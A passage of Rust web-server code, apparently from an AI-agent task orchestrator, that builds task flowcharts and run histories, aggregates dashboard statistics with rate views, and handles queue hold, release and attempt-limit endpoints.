6325        f.to_uppercase().collect::<String>() + c.as_str()
6326    })
6327}
6328
6329/// One box of the task's flowchart.
6330#[derive(Debug, Serialize, PartialEq)]
6331struct FlowNode {
6332    /// Unique by position: a resumed run id appears once per pass.
6333    key: String,
6334    /// `chat`, `followup`, `start`, `run` or `end`.
6335    kind: &'static str,
6336    label: String,
6337    /// Run status (or the task's, for `end`); `None` when it is not a fact
6338    /// about this box (unreadable, or a pass the run later resumed from).
6339    status: Option<&'static str>,
6340    /// Whose status `status` is, so the client picks the right colour table:
6341    /// `task` (the `followup` parent and `end`) or `run`.
6342    status_of: &'static str,
6343    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6344    note: Option<&'static str>,
6345    run_kind: Option<&'static str>,
6346    detail: Option<String>,
6347    /// A readable run with a real verdict; a stall never is.
6348    decided: bool,
6349    readable: bool,
6350    href: Option<String>,
6351    /// Overrides `status` as the badge word (`stale` / `superseded`).
6352    badge: Option<String>,
6353    /// Start of this entry, never the run's latest update or pass settlement.
6354    started_at: Option<Timestamp>,
6355    /// Context links (chat / follow-up) do not represent execution entries.
6356    time_expected: bool,
6357}
6358
6359#[derive(Debug, Serialize, PartialEq)]
6360struct FlowEdge {
6361    from: String,
6362    to: String,
6363    label: String,
6364    attempt: AttemptCost,
6365}
6366
6367#[derive(Debug, Serialize, PartialEq)]
6368struct FlowView {
6369    nodes: Vec<FlowNode>,
6370    edges: Vec<FlowEdge>,
6371    /// Attempts the task has counted since it was last released.
6372    attempts: usize,
6373    max_attempts: usize,
6374    /// Entries in the run list (passes), and how many distinct runs they are.
6375    /// Neither is the number of attempts consumed.
6376    passes: usize,
6377    runs: usize,
6378}
6379
6380/// Turn a task and its described runs into the flowchart's boxes and arrows.
6381/// Pure: the page only draws what this returns.
6382///
6383/// A follow-up opens with its parent (or the merged run) unless the task's
6384/// *source* is itself a chat, in which case the chat stays first and the
6385/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6386/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6387/// two normally do not coincide and the nearer origin wins.
6388fn task_flow(
6389    task: &Task,
6390    history: &[TaskRunView],
6391    max_attempts: usize,
6392    origin: Option<&FollowUpOrigin>,
6393) -> FlowView {
6394    let max_attempts = task.effective_attempt_limit(max_attempts);
6395    let node = |key: &str, kind, label: String| FlowNode {
6396        key: key.to_owned(),
6397        kind,
6398        label,
6399        status: None,
6400        status_of: "run",
6401        note: None,
6402        run_kind: None,
6403        detail: None,
6404        decided: false,
6405        readable: true,
6406        href: None,
6407        badge: None,
6408        started_at: None,
6409        time_expected: matches!(kind, "start" | "run" | "end"),
6410    };
6411    let mut nodes = Vec::new();
6412    let mut edges: Vec<FlowEdge> = Vec::new();
6413    // A task queued from a chat opens the flow with that conversation.
6414    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6415        let mut n = node(
6416            "chat",
6417            "chat",
6418            format!("Chat {}", crate::queue::short(&link.id)),
6419        );
6420        n.href = Some(link.href);
6421        nodes.push(n);
6422        edges.push(FlowEdge {
6423            from: "chat".to_owned(),
6424            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6425            label: "queued from chat".to_owned(),
6426            attempt: AttemptCost::None,
6427        });
6428    }
6429    if let Some(o) = origin {
6430        let mut n = match &o.parent {
6431            Some(p) => {
6432                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6433                n.status = Some(p.status);
6434                n.status_of = "task";
6435                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6436                n.href = Some(p.href.clone());
6437                n
6438            }
6439            None => {
6440                let mut n = node(
6441                    "origin",
6442                    "followup",
6443                    format!("Follow-up of run {}", o.run.short),
6444                );
6445                n.detail = Some("merged run".to_owned());
6446                n.status = o.run.status;
6447                n.href = o.run.href.clone();
6448                if o.run.href.is_none() {
6449                    n.readable = false;
6450                    n.note = Some("unreadable");
6451                }
6452                n
6453            }
6454        };
6455        n.decided = true;
6456        let from = n.key.clone();
6457        nodes.push(n);
6458        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6459        let more = o.findings.len().saturating_sub(shown.len());
6460        let label = match (shown.is_empty(), more) {
6461            (true, _) => "open findings".to_owned(),
6462            (false, 0) => format!("open findings {}", shown.join(", ")),
6463            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6464        };
6465        edges.push(FlowEdge {
6466            from,
6467            to: "start".to_owned(),
6468            label,
6469            attempt: AttemptCost::None,
6470        });
6471    }
6472    let mut start = node("start", "start", "Task queued".to_owned());
6473    start.started_at = Some(task.created_at);
6474    nodes.push(start);
6475    let mut prev = "start".to_owned();
6476    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6477    for (i, h) in history.iter().enumerate() {
6478        let key = format!("run-{}", h.n);
6479        let mut n = node(&key, "run", format!("Run {}", h.short));
6480        // Creation marks only the first pass of legacy runs. A resumed pass
6481        // without a record must not inherit the original run's start time.
6482        n.started_at = h
6483            .readable
6484            .then(|| {
6485                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6486                    h.created_at
6487                } else {
6488                    None
6489                })
6490            })
6491            .flatten();
6492        n.run_kind = Some(h.kind);
6493        n.readable = h.readable;
6494        n.href = Some(format!("#/runs/{}", h.id));
6495        n.decided = h.readable && !h.provisional;
6496        n.detail = h
6497            .branch
6498            .as_ref()
6499            .map(|b| format!("review-only run of branch {b}"));
6500        match h.exit {
6501            RunExit::Unreadable => n.note = Some("unreadable"),
6502            RunExit::Interrupted => n.note = Some("interrupted"),
6503            // An earlier pass the run recorded as parked: the status shown
6504            // would be the run's current one, not this pass's.
6505            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6506            _ => {
6507                n.status = h.status;
6508                n.badge = h.badge.clone();
6509                if h.provisional {
6510                    n.note = Some("no verdict");
6511                }
6512            }
6513        }
6514        let into = match h.kind {
6515            "review" => Some(format!(
6516                "review-only run of branch {}",
6517                h.branch.as_deref().unwrap_or("?")
6518            )),
6519            "resume" => Some("resume the same run".to_owned()),
6520            _ if i > 0 => Some("retry".to_owned()),
6521            _ => None,
6522        };
6523        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6524        let label = match (prev_exit, into) {
6525            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6526            (Some((_, l, _)), None) => l,
6527            (None, Some(i)) => i,
6528            (None, None) => "claimed".to_owned(),
6529        };
6530        edges.push(FlowEdge {
6531            from: prev.clone(),
6532            to: key.clone(),
6533            label,
6534            attempt,
6535        });
6536        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6537        prev = key;
6538        nodes.push(n);
6539    }
6540    let mut end = node("end", "end", task.status.as_str().to_owned());
6541    end.status = Some(task.status.as_str());
6542    end.status_of = "task";
6543    // Other task states do not persist their transition start. In particular,
6544    // blocked_at can change while the task remains blocked.
6545    if task.status == TaskStatus::Held {
6546        end.started_at = task.held_at;
6547    }
6548    nodes.push(end);
6549    let (label, attempt) = match prev_exit {
6550        None => (
6551            format!("no run yet \u{2192} {}", task.status.as_str()),
6552            AttemptCost::None,
6553        ),
6554        Some((e, l, cost)) if e.explains(task.status) => {
6555            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6556        }
6557        Some((_, _, cost)) => (
6558            format!("closed by hand: task is {}", task.status.as_str()),
6559            cost,
6560        ),
6561    };
6562    edges.push(FlowEdge {
6563        from: prev,
6564        to: "end".to_owned(),
6565        label,
6566        attempt,
6567    });
6568    FlowView {
6569        nodes,
6570        edges,
6571        attempts: task.attempts,
6572        max_attempts,
6573        passes: history.len(),
6574        runs: distinct_runs(&task.runs),
6575    }
6576}
6577
6578/// How many different run ids a task's run list names.
6579fn distinct_runs(runs: &[String]) -> usize {
6580    let mut seen: Vec<&str> = Vec::new();
6581    for r in runs {
6582        if !seen.contains(&r.as_str()) {
6583            seen.push(r);
6584        }
6585    }
6586    seen.len()
6587}
6588
6589/// Describe recorded task passes, retaining unrecorded legacy list entries.
6590fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6591    let mut slots = Vec::new();
6592    let mut seen = Vec::new();
6593    for run_id in &task.runs {
6594        if seen.contains(&run_id) {
6595            continue;
6596        }
6597        seen.push(run_id);
6598        let state = read(run_id);
6599        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6600            s.passes
6601                .iter()
6602                .filter(|p| {
6603                    p.task_entry
6604                        || task
6605                            .passes
6606                            .iter()
6607                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6608                })
6609                .cloned()
6610                .collect()
6611        });
6612        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6613        let total = legacy_count.max(mine.len());
6614        let offset = total - mine.len();
6615        for k in 0..total {
6616            // Legacy repeated entries retain their original positions. When
6617            // ids are unique, recorded pass times recover the resume order.
6618            let position = task
6619                .runs
6620                .iter()
6621                .enumerate()
6622                .filter(|(_, r)| *r == run_id)
6623                .nth(k.min(legacy_count - 1))
6624                .unwrap()
6625                .0;
6626            slots.push((
6627                run_id,
6628                state.clone(),
6629                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6630                position,
6631            ));
6632        }
6633    }
6634    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6635        slots.sort_by_key(|(_, state, pass, _)| {
6636            pass.as_ref()
6637                .map(|p| p.started_at)
6638                .or_else(|| state.as_ref().map(|s| s.created_at))
6639                .map_or((true, task.created_at), |at| (false, at))
6640        });
6641    } else {
6642        slots.sort_by_key(|(_, _, _, position)| *position);
6643    }
6644    let mut history = Vec::with_capacity(slots.len());
6645    let mut seen: Vec<&str> = Vec::new();
6646    let mut prior: Option<(&str, RunStatus)> = None;
6647    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6648        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6649        let resumed = k > 0;
6650        seen.push(run_id);
6651        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6652        let pass = pass.as_ref();
6653        let settled = pass.and_then(|p| {
6654            task.passes
6655                .iter()
6656                .find(|t| t.run == **run_id && t.pass_index == p.index)
6657        });
6658        history.push(task_run_view(
6659            run_id,
6660            state.as_ref(),
6661            RunSlot {
6662                n: i + 1,
6663                resumed,
6664                resumed_later: slots[i + 1..]
6665                    .iter()
6666                    .position(|(id, _, _, _)| id == run_id)
6667                    .map(|off| i + off + 2),
6668                prior,
6669                last: i + 1 == slots.len(),
6670                pass,
6671                settled,
6672                pass_n: k + 1,
6673                passes_of_run: total,
6674            },
6675            task,
6676        ));
6677        if let Some(s) = &state {
6678            prior = Some((run::short_of(run_id), s.status));
6679        }
6680    }
6681    history
6682}
6683
6684/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6685/// An earlier pass of a resumed run keeps no badge (it has no status box).
6686fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6687    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6688        return;
6689    }
6690    let (_, claimed, _) = run_row_inputs(ui);
6691    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6692    for h in history
6693        .iter_mut()
6694        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6695    {
6696        let Ok(state) = read_run(&ui.runs, &h.id) else {
6697            continue;
6698        };
6699        if state.status.done() {
6700            continue;
6701        }
6702        let live = state.liveness_with(
6703            claimed.contains(&h.id),
6704            |p| probe.borrow_mut().status(p),
6705            |p| probe.borrow_mut().started_at(p),
6706        );
6707        let waiting = !ui.questions.open_for(&h.id).is_empty();
6708        let display = run_display_status(&state, waiting, live);
6709        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6710        if matches!(word.as_str(), "stale" | "superseded")
6711            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6712        {
6713            h.badge = Some(word);
6714        }
6715    }
6716}
6717
6718async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6719    blocking(move || {
6720        let id = resolve_task(&ui.queue, &id)?;
6721        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6722    })
6723    .await
6724}
6725
6726async fn task_detail(
6727    State(ui): State<Arc<Ui>>,
6728    Path(id): Path<String>,
6729) -> ApiResult<Json<TaskDetailView>> {
6730    blocking(move || {
6731        let id = resolve_task(&ui.queue, &id)?;
6732        let task = ui
6733            .queue
6734            .get(&id)
6735            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6736        let inv = if task.status == TaskStatus::Blocked {
6737            Some(crate::blockers::Inventory::load_for(
6738                &ui.queue,
6739                &ui.questions,
6740                &task,
6741            ))
6742        } else {
6743            None
6744        };
6745        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6746        mark_badges(&ui, &task, &mut history);
6747        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6748        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6749        let origin = task.followup.as_ref().map(|fu| {
6750            followup_origin(
6751                fu,
6752                |tid| ui.queue.get(tid).ok(),
6753                |rid| read_run(&ui.runs, rid).ok(),
6754            )
6755        });
6756        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6757        let task_view = match inv.as_ref() {
6758            Some(inv) => TaskView::with_inventory(task, inv),
6759            None => TaskView::from(task),
6760        };
6761        Ok(Json(TaskDetailView {
6762            max_attempts,
6763            flow,
6764            followup_origin: origin,
6765            passes_total: history.len(),
6766            runs_distinct: distinct_runs(&task_view.task.runs),
6767            history,
6768            runs_unreadable,
6769            attempts_note: ATTEMPTS_NOTE,
6770            task: task_view,
6771        }))
6772    })
6773    .await
6774}
6775
6776/// A rate together with its denominator, so the client can tell "computed as
6777/// 0%" apart from "no data to compute it from" — both would otherwise
6778/// serialize as `0.0`. `None` means the denominator was zero.
6779#[derive(Debug, Serialize)]
6780struct RateView {
6781    pct: f64,
6782    denominator: usize,
6783}
6784
6785impl RateView {
6786    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6787        (denominator > 0).then(|| Self {
6788            pct: 100.0 * numerator as f64 / denominator as f64,
6789            denominator,
6790        })
6791    }
6792}
6793
6794/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6795/// rates, each paired with its own denominator via [`RateView`] rather than
6796/// exposing `Stats`' own percentage methods directly — see this module's
6797/// doc for why `Stats` itself is never serialized.
6798#[derive(Debug, Serialize)]
6799struct StatsTotalsView {
6800    runs: usize,
6801    merged: usize,
6802    ready: usize,
6803    blocked: usize,
6804    failed: usize,
6805    stalled: usize,
6806    verified_noop: usize,
6807    superseded: usize,
6808    in_progress: usize,
6809    completion_rate: Option<RateView>,
6810    tallied: usize,
6811    split: usize,
6812    split_rate: Option<RateView>,
6813    deliberated: usize,
6814    minds_changed: usize,
6815    converged: usize,
6816    review_rounds: usize,
6817}
6818
6819impl From<&stats::Totals> for StatsTotalsView {
6820    fn from(t: &stats::Totals) -> Self {
6821        Self {
6822            runs: t.runs,
6823            merged: t.merged,
6824            ready: t.ready,
6825            blocked: t.blocked,
6826            failed: t.failed,
6827            stalled: t.stalled,
6828            verified_noop: t.verified_noop,
6829            superseded: t.superseded,
6830            in_progress: t.in_progress,
6831            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6832            tallied: t.tallied,
6833            split: t.split,
6834            split_rate: RateView::of(t.split, t.tallied),
6835            deliberated: t.deliberated,
6836            minds_changed: t.minds_changed,
6837            converged: t.converged,
6838            review_rounds: t.review_rounds,
6839        }
6840    }
6841}
6842
6843/// [`crate::stats::AgentStats`] for the wire.
6844#[derive(Debug, Serialize)]
6845struct AgentStatsView {
6846    agent: String,
6847    entered: usize,
6848    wins: usize,
6849    empty: usize,
6850    win_rate: Option<RateView>,
6851    competitive_entered: usize,
6852    competitive_wins: usize,
6853    competitive_win_rate: Option<RateView>,
6854    solo_entered: usize,
6855    solo_adopted: usize,
6856    solo_adoption_rate: Option<RateView>,
6857}
6858
6859impl From<&stats::AgentStats> for AgentStatsView {
6860    fn from(a: &stats::AgentStats) -> Self {
6861        Self {
6862            agent: a.agent.clone(),
6863            entered: a.entered,
6864            wins: a.wins,
6865            empty: a.empty,
6866            win_rate: RateView::of(a.wins, a.entered),
6867            competitive_entered: a.competitive_entered,
6868            competitive_wins: a.competitive_wins,
6869            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6870            solo_entered: a.solo_entered,
6871            solo_adopted: a.solo_adopted,
6872            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6873        }
6874    }
6875}
6876
6877/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6878/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6879/// value, `None` when `rounds` is zero.
6880#[derive(Debug, Serialize)]
6881struct ReviewerStatsView {
6882    agent: String,
6883    rounds: usize,
6884    seated: usize,
6885    submitted: usize,
6886    adopted: usize,
6887    unique: usize,
6888    timeouts: usize,
6889    adopted_per_round: Option<f64>,
6890    precision: Option<RateView>,
6891    unique_rate: Option<RateView>,
6892    timeout_rate: Option<RateView>,
6893}
6894
6895impl From<&stats::ReviewerStats> for ReviewerStatsView {
6896    fn from(r: &stats::ReviewerStats) -> Self {
6897        Self {
6898            agent: r.agent.clone(),
6899            rounds: r.rounds,
6900            seated: r.seated,
6901            submitted: r.submitted,
6902            adopted: r.adopted,
6903            unique: r.unique,
6904            timeouts: r.timeouts,
6905            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6906            precision: RateView::of(r.adopted, r.submitted),
6907            unique_rate: RateView::of(r.unique, r.submitted),
6908            timeout_rate: RateView::of(r.timeouts, r.seated),
6909        }
6910    }
6911}
6912
6913/// [`crate::stats::AdvisorStats`] for the wire.
6914///
6915/// `reflection_rate` is approximate by construction — see
6916/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6917/// that caveat is static text in `index.html`, not a field here.
6918#[derive(Debug, Serialize)]
6919struct AdvisorStatsView {
6920    agent: String,
6921    seated: usize,
6922    proposed: usize,
6923    absent: usize,
6924    faint: usize,
6925    strong: usize,
6926    reflection_rate: Option<RateView>,
6927}
6928
6929impl From<&stats::AdvisorStats> for AdvisorStatsView {
6930    fn from(a: &stats::AdvisorStats) -> Self {
6931        Self {
6932            agent: a.agent.clone(),
6933            seated: a.seated,
6934            proposed: a.proposed,
6935            absent: a.absent,
6936            faint: a.faint,
6937            strong: a.strong,
6938            reflection_rate: RateView::of(a.strong, a.proposed),
6939        }
6940    }
6941}
6942
6943/// [`crate::stats::E2eStats`] for the wire.
6944#[derive(Debug, Serialize)]
6945struct E2eStatsView {
6946    rounds: usize,
6947    failures: usize,
6948    sole_detections: usize,
6949    deferred: usize,
6950    sole_rate: Option<RateView>,
6951}
6952
6953impl From<&stats::E2eStats> for E2eStatsView {
6954    fn from(e: &stats::E2eStats) -> Self {
6955        Self {
6956            rounds: e.rounds,
6957            failures: e.failures,
6958            sole_detections: e.sole_detections,
6959            deferred: e.deferred,
6960            sole_rate: RateView::of(e.sole_detections, e.failures),
6961        }
6962    }
6963}
6964
6965/// [`crate::stats::ReleaseBumpStats`] for the wire.
6966///
6967/// `clean` is sent as a raw count, computed the same way
6968/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6969/// needs_attention`) — never derived client-side from `automerge_enabled`,
6970/// which would misclassify a `merged_directly` bump (automerge rejected, but
6971/// magi merged it directly, so no human involvement) as needing attention.
6972#[derive(Debug, Serialize)]
6973struct ReleaseBumpStatsView {
6974    merged: usize,
6975    recorded: usize,
6976    pr_opened: usize,
6977    automerge_enabled: usize,
6978    merged_directly: usize,
6979    needs_attention: usize,
6980    clean: usize,
6981    coverage_rate: Option<RateView>,
6982    automerge_rate: Option<RateView>,
6983    attention_rate: Option<RateView>,
6984}
6985
6986impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6987    fn from(b: &stats::ReleaseBumpStats) -> Self {
6988        Self {
6989            merged: b.merged,
6990            recorded: b.recorded,
6991            pr_opened: b.pr_opened,
6992            automerge_enabled: b.automerge_enabled,
6993            merged_directly: b.merged_directly,
6994            needs_attention: b.needs_attention,
6995            clean: b.clean(),
6996            coverage_rate: RateView::of(b.recorded, b.merged),
6997            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6998            attention_rate: RateView::of(b.needs_attention, b.recorded),
6999        }
7000    }
7001}
7002
7003/// [`crate::queue::TaskCounts`] for the wire.
7004#[derive(Debug, Serialize)]
7005struct TaskCountsView {
7006    queued: usize,
7007    running: usize,
7008    done: usize,
7009    failed: usize,
7010    held: usize,
7011    blocked: usize,
7012    parked: usize,
7013}
7014
7015impl From<crate::queue::TaskCounts> for TaskCountsView {
7016    fn from(c: crate::queue::TaskCounts) -> Self {
7017        Self {
7018            queued: c.queued,
7019            running: c.running,
7020            done: c.done,
7021            failed: c.failed,
7022            held: c.held,
7023            blocked: c.blocked,
7024            parked: c.parked,
7025        }
7026    }
7027}
7028
7029/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7030/// runs recorded — the summary the UI's repository selector is built from.
7031/// Carries no nested `Stats`: picking a repo means re-fetching
7032/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7033/// aggregation rather than duplicating it.
7034#[derive(Debug, Serialize)]
7035struct RepoSummaryView {
7036    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7037    /// against, full path and all (see [`stats_get`]'s own doc for why).
7038    repo: String,
7039    /// Display name only; never used for matching.
7040    name: String,
7041    runs: usize,
7042    completion_rate: Option<RateView>,
7043}
7044
7045impl From<&stats::RepoStats> for RepoSummaryView {
7046    fn from(r: &stats::RepoStats) -> Self {
7047        let t = &r.stats.totals;
7048        Self {
7049            repo: r.repo.to_string_lossy().into_owned(),
7050            name: r.name.clone(),
7051            runs: t.runs,
7052            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7053        }
7054    }
7055}
7056
7057/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7058/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7059/// renders from them) are free to grow without that becoming a wire-contract
7060/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
7061/// data" from "computed and it really is zero" the way [`RateView`] does.
7062#[derive(Debug, Serialize)]
7063struct StatsView {
7064    totals: StatsTotalsView,
7065    /// Best win rate first, as [`stats::collect`] already sorts it.
7066    agents: Vec<AgentStatsView>,
7067    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
7068    reviewers: Vec<ReviewerStatsView>,
7069    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
7070    advisors: Vec<AdvisorStatsView>,
7071    e2e: E2eStatsView,
7072    release_bumps: ReleaseBumpStatsView,
7073    queue: Option<TaskCountsView>,
7074    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
7075    /// that field's doc. Asserted to match it in
7076    /// `stats_runs_unreadable_matches_health`.
7077    ///
7078    /// Always the whole-workload count, even when `repo` narrows every other
7079    /// field to one repository - an unreadable `run.json` carries no `repo`
7080    /// a per-repository count could attribute it to, and the queue/health
7081    /// views this mirrors never scope it either. The UI must not present it
7082    /// as if it were scoped to the selected repository.
7083    runs_unreadable: usize,
7084    /// Every repository with runs recorded, most runs first - what the UI's
7085    /// repository selector is built from. Always the full list regardless of
7086    /// `repo`, so switching repositories never needs a second request.
7087    repos: Vec<RepoSummaryView>,
7088    /// Runs per local day over the last 30 days, oldest first, always 30
7089    /// entries. Days are the *server's* local dates (the UI must not convert
7090    /// them again), cut by run creation and classified by current status.
7091    /// Narrowed by `repo` like every other run-derived field.
7092    daily: Vec<DailyStatsView>,
7093    /// The `?repo=` value this response was narrowed to, echoed back so the
7094    /// UI can confirm its selection round-tripped. `None` for the aggregate,
7095    /// all-repositories view.
7096    repo: Option<String>,
7097    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
7098    /// current config roster no longer lists them. Empty with `?all=true`, an
7099    /// unreadable config, or when nothing was retired.
7100    retired_hidden: Vec<String>,
7101}
7102
7103/// One day of [`StatsView::daily`].
7104#[derive(Debug, Serialize)]
7105struct DailyStatsView {
7106    /// `YYYY-MM-DD`, server-local.
7107    date: String,
7108    runs: usize,
7109    merged: usize,
7110    ready: usize,
7111    other: usize,
7112    /// `None` on a day with no runs, so it never reads as 0%.
7113    completion_rate: Option<RateView>,
7114}
7115
7116impl From<&stats::DayBucket> for DailyStatsView {
7117    fn from(b: &stats::DayBucket) -> Self {
7118        Self {
7119            date: b.date.to_string(),
7120            runs: b.runs,
7121            merged: b.merged,
7122            ready: b.ready,
7123            other: b.other,
7124            completion_rate: RateView::of(b.merged + b.ready, b.runs),
7125        }
7126    }
7127}
7128
7129/// How many days [`StatsView::daily`] covers.
7130const STATS_DAILY_DAYS: usize = 30;
7131
7132/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
7133/// repository. Matched by full-path equality against `RunState.repo` only
7134/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7135/// `--repo` is, because the value here always came from this same route's
7136/// own `repos` list in an earlier response, never typed by a human. A value
7137/// matching no run is a 404, not an empty aggregate: the caller asked for a
7138/// specific, named repository, and silently returning zeroes would look
7139/// exactly like a repository that has runs but none of interest.
7140#[derive(Debug, Default, Deserialize)]
7141#[serde(default)]
7142struct StatsQuery {
7143    repo: Option<String>,
7144    /// `?all=true` keeps agents that are no longer in the roster.
7145    all: bool,
7146    /// The dashboard fetches queue counts independently of run history.
7147    runs_only: bool,
7148}
7149
7150/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7151/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7152/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7153/// prints from. Reads every readable run on disk, exactly as
7154/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7155/// a separately-maintained tally could.
7156async fn stats_get(
7157    State(ui): State<Arc<Ui>>,
7158    Query(q): Query<StatsQuery>,
7159) -> ApiResult<Json<StatsView>> {
7160    blocking(move || {
7161        let states: Vec<RunState> = run_ids(&ui.runs)
7162            .into_iter()
7163            .filter_map(|id| read_run(&ui.runs, &id).ok())
7164            .collect();
7165        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7166            .iter()
7167            .map(RepoSummaryView::from)
7168            .collect();
7169        let mut scoped: Vec<&RunState> = states.iter().collect();
7170        let mut collected = match &q.repo {
7171            Some(repo) => {
7172                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7173                if filtered.is_empty() {
7174                    return Err(ApiError::not_found(format!(
7175                        "no runs recorded against repo `{repo}`"
7176                    )));
7177                }
7178                scoped = filtered.clone();
7179                stats::collect_refs(filtered)
7180            }
7181            None => stats::collect(&states),
7182        };
7183        if !q.all {
7184            let repo = q
7185                .repo
7186                .as_deref()
7187                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7188            stats::retain_current_roster(&mut collected, &repo);
7189        }
7190        let daily = stats::daily(
7191            scoped,
7192            jiff::Zoned::now().date(),
7193            &jiff::tz::TimeZone::system(),
7194            STATS_DAILY_DAYS,
7195        );
7196        let queue_counts = (!q.runs_only)
7197            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7198        Ok(Json(StatsView {
7199            totals: StatsTotalsView::from(&collected.totals),
7200            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7201            reviewers: collected
7202                .reviewers
7203                .iter()
7204                .map(ReviewerStatsView::from)
7205                .collect(),
7206            advisors: collected
7207                .advisors
7208                .iter()
7209                .map(AdvisorStatsView::from)
7210                .collect(),
7211            e2e: E2eStatsView::from(&collected.e2e),
7212            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7213            queue: queue_counts,
7214            runs_unreadable: runs_unreadable(&ui.runs),
7215            repos,
7216            daily: daily.iter().map(DailyStatsView::from).collect(),
7217            repo: q.repo.clone(),
7218            retired_hidden: collected.retired_hidden.clone(),
7219        }))
7220    })
7221    .await
7222}
7223
7224/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7225/// gives no reason - which must keep working, since not every hold has one.
7226#[derive(Debug, Default, Deserialize)]
7227#[serde(default, deny_unknown_fields)]
7228struct HoldBody {
7229    reason: Option<String>,
7230}
7231
7232async fn queue_hold(
7233    State(ui): State<Arc<Ui>>,
7234    Path(id): Path<String>,
7235    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7236) -> ApiResult<Json<TaskView>> {
7237    // An absent body is the ordinary case - most holds are unexplained, and
7238    // that has to stay a one-tap action rather than a form. A body that is
7239    // present and malformed is still a bad request.
7240    let body = match body {
7241        Ok(Json(body)) => body,
7242        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7243        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7244    };
7245    let reason = body.reason.filter(|r| !r.trim().is_empty());
7246    mutate(ui, id, move |t| {
7247        t.hold_manual(reason.clone());
7248        Ok(())
7249    })
7250    .await
7251}
7252
7253async fn queue_release(
7254    State(ui): State<Arc<Ui>>,
7255    Path(id): Path<String>,
7256) -> ApiResult<Json<TaskView>> {
7257    mutate(ui, id, |t| {
7258        t.release_operator("web", None);
7259        Ok(())
7260    })
7261    .await
7262}
7263
7264#[derive(Debug, Deserialize)]
7265#[serde(deny_unknown_fields)]
7266struct AttemptLimitBody {
7267    // Required even when clearing: missing fields must not silently erase an override.
7268    attempt_limit: serde_json::Value,
7269}
7270
7271async fn queue_attempt_limit(
7272    State(ui): State<Arc<Ui>>,
7273    Path(id): Path<String>,
7274    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7275) -> ApiResult<Json<TaskView>> {
